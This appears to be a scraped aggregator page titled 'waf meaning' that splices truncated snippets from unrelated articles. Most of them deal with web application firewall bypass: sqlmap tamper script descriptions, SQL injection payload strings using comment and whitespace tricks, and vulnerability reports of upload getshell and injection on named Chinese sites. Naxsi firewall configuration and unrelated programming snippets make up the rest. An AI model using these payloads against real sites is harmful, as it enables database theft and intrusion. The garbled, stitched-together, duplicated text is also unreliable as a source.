waf meaning

"--" followed by a random string and a newline character to replace the whitespace space2hash.py with the pound notation "#" followed by a random string and a newline character to replace the whitespace space2morehash.py with the pound notation "#" followed by a random string and a newline character to replace the whitespace space2mssqlblank.py replacing whitespace with random whitespace characters from a valid set of alternate character sets space2mssqlhash.py with the pound notation "#" follo

In this article, I will share with you several WAF bypass skills. For some tips that everyone knows, such :/*! */, SELECT [0x09, 0x0A-0x0D, 0x20, 0xA0] xx FROM does not recreate the wheel. Mysql: Tips1: Magic '(the controller of the output table in the format) Space and some regular expressions. mysql>select`version`() ->; +----------------------+ |`version`()| +----------------------+ |5.1.50-community-log| +-------------------

I have studied waf at home and abroad. Share some amazing tricks. Some skills that everyone knows are as follows :/*! */, SELECT [0x09, 0x0A-0x0D, 0x20, 0xA0] xx FROM does not recreate the wheel. MysqlTips1: Magic '(the controller of the output table in the format) Space and some regular expressions. mysql> select`version`() -> ; +----------------------+ | `version`() | +----------------------+ | 5.1.50-community-log | +-------------

Download the System.Windows.Interactivity.dll file and introduce it into the project (as you can see in the reference list of the VS project).Using the DLL in XAMLXmlns:i= "Clr-namespace:system.windows.interactivity;assembly=system.windows.interactivity"get focus, lose focus event for TextBox control -TextBoxText= "Test"> i:interaction. Triggers> I:eventtriggerEventName= "LostFocus"> i:invokecommandactionCommand="{Binding Relativesource={relativesource ancestortype=window},p

--with-zlib=. /zlib-1.2.8--with-openssl=. /openssl-fips-2.0.10--add-module=. /naxsi-master/naxsi_src Make sudo make install CP ~/naxsi-master/naxsi_config/naxsi_core.rules/usr/local/nginx/conf/ Cd/usr/local/nginx/conf Vim Mysite.rules The contents are as follows: #------------------------ #LearningMode; #Enables Learning Mode secrulesenabled; #SecRulesDisabled; Deniedurl "/requestdenied"; # # Check Rules Checkrule "$SQL >= 8" BLOCK; Checkrule "$RFI >= 8" BLOCK; Checkrule "$TRAVERSAL >= 4" BLOCK;

Web Code saw http://sourceforge.net/projects/sqlxsswaf? Source = directory Start read! I. Main Functions The process is clear, 1. the main function of WAF is an endless loop. In the while (1) code segment, after the code completes processing the current log Content, it sleeps for 10 ms and continues to process new content from get_pos. 2. When the second while processing log finds the log Content starting with get or post, it checks the commands sent

/addslashes feature —————————————————————————— –equaltolike.pylike instead of equals example:* input:select * from Users where Id=1* Output:select * from the users where id like 1Tested against:* Microsoft SQL Server 2005* MySQL 4, 5.0 and 5.5 —————————————————————————-keyword before comment halfversionedmorekeywords.pyexample:* input:value ' UNION all SELECT CONCAT (CHAR (58,107,112,113,58), Ifnull (CAST (Current_User () as Char), char (+)), char (58,97,110,121,58)), NULL, null# and ' qdwa ' =

%0a1,2,3/*uyg.php?id=1/**/union%a0select/**/1,pass,3 ' A ' from ' users 'Uyg.php?id= (0) union (SELECT (TABLE_SCHEMA), TABLE_NAME, (0) from (information_schema.tables) have ((Table_schema) Like (0x74657374) (table_name)! = (0x7573657273))) #Uyg.php?id=union (select (version ()))--uyg.php?id=123/*! UNION ALL Select version () */--Uyg.php?id=123/*!or*/1=1;uyg.php?id=1+union+select+1,2,3/*uyg.php?id=1+union+select+1,2,3--uyg.php?id=1+union+select+1,2,3#uyg.php?id=1+union+select+1,2,3;%0 0Uyg.php?i

China Telecom Jiangxi main site can be accessed by getshell over waf Verify getshell Address: http ://**. **. **. **/res/active/4G/upload. jsp (login required) Upload Vulnerability is also installed with security software, so I killed all my horsesHowever, this is not the focus.Upload pony first POST http://**.**.**.**/AttachmentServlet?backUrl=/service/upload/img_upload.jsp HTTP/1.1Host: **.**.**.**Connection: keep-aliveContent-Length: 1912Cache-Cont

Original address: http://bbs.10hst.com/viewthread.php? Tid = 39 extra = page % 3D1====== Bypass the anti-injection system, including the test code of WAF ======Solution 1: Replace the space in the test code with/**/or + (Note:/**/and + do not perform url encoding)? To copy the Code as it is, double-click the code and right-click the code to copy it. 010203 For example, id = 1 or 1 = 1Id = 1/**/or/**/1 = 1Id = 1 + or + 1 = 1

SQL Injection for DBA permissions on the WAF web game main site (only two databases of the current database are viewed, with more than 2 million user information) Web game master site DBA permission SQL injection (tens of millions of user information, recharge records, novice card leakage) (involving well-known games such as the wild, storm, and Master) Web Game Web site: http://www.wa3.com/It says: Wow web games, the most distinctive web game platfor

403 Request Denied with special charactersWhite list rule syntax:Basicrule wl:id [Negative] [mz:[$URL: target_url]|[ match_zone]| [$ARGS _var:varname]| [$BODY _vars:varname]| [$HEADERS _var:varname]| [NAME]]Wl:id (white list ID) which interception rules will go to whitelistwl:0: Add all the interception rules to whitelistWl:42: Whitelist the interception rule with ID 42Wl:42,41,43: Whitelist the interception rules with IDs 42, 41, and 43WL:-42: Add all interception rules to whitelist except for

Tips:Injection point used: Support Union can error support multi-line execution, executable system command, HTTP request, and other advantages other than the above type, you may need a brute force guess. When you are guessing, you may encounter some limitations. All the attackers have to do is break them up. 1. Binary is typically used to find a single character by bypassing the greatest function, which cannot be used to guess the size of a symbol. Mysql> Select ASCII (Mid (User (),) SQL Injecti

0x01 backgroundOracle is similar to MySQL features, semi-automated fuzz, recording results.0x02 Test Position One: The position between the parameter and the Union1) White space charactersThe white space characters available in Oracle are:%00%09%0a%0b%0c%0d%202) Comment Symbol/**/3) Other characters%2e. Point numberPosition two: The position between union and select1) White space charactersThe white space characters available in Oracle are:%00%09%0a%0b%0c%0d%202) Comment Symbol/**/Position three

When the search engine grasps the lifeblood of the Internet economy, the typical application of the Internet, which is created by the search behavior, will affect all the people and things related to it. For the moment, we call the economic model of the related behavior a search economy. In this section we discuss one of the most basic elements of a search economy – search keywords. What are the key words? It can be any word in any language, mainly in the form of words. The essence of writing i

The meaning of directory and file permissions in Linux The meaning of file permission R: You can read the specific contents of this document; W: You can edit the contents of this file, including adding the details of the deleted file; X: The file has executable permissions-------Note: Here and window is not the same, in win, the file executable permissions are expressed through the extension, such as EX

What is the definition in C language? What is the meaning of the statement? What is the difference between them ?, Meaning difference In the C language, we may be very familiar with definitions and declarations, but we may not really understand them! Definition meaning: the so-called definition is to create (compiler) an object, allocate a memory space for this

String formatting symbolic meaning Symbol Description %c Formatting characters and their ASCII code %s formatting strings %d formatting integers %o Formatting an unsigned octal number %x formatting unsigned hexadecimal numbers %x Format unsigned hexadecimal number (uppercase) %f Format fixed-point numb

String formatting symbolic meaning Symbol Description %c Formatting characters and their ASCII code %s formatting strings %d formatting integers %o Formatting an unsigned octal number %x formatting unsigned hexadecimal numbers %x Format unsigned hexadecimal number (uppercase) %f Format fixed-point numb

A lot of friends in the tuning with MySQL will certainly use the explain to see the execution of the SELECT statement, here is a brief introduction to the results of the meaning of the two columns.1 Type column The official saying that this column represents the "type of access", and more commonly, the way MySQL finds the data rows needed. One is to introduce the worst from the most efficient to the best: all this is called a full-table scan, and no i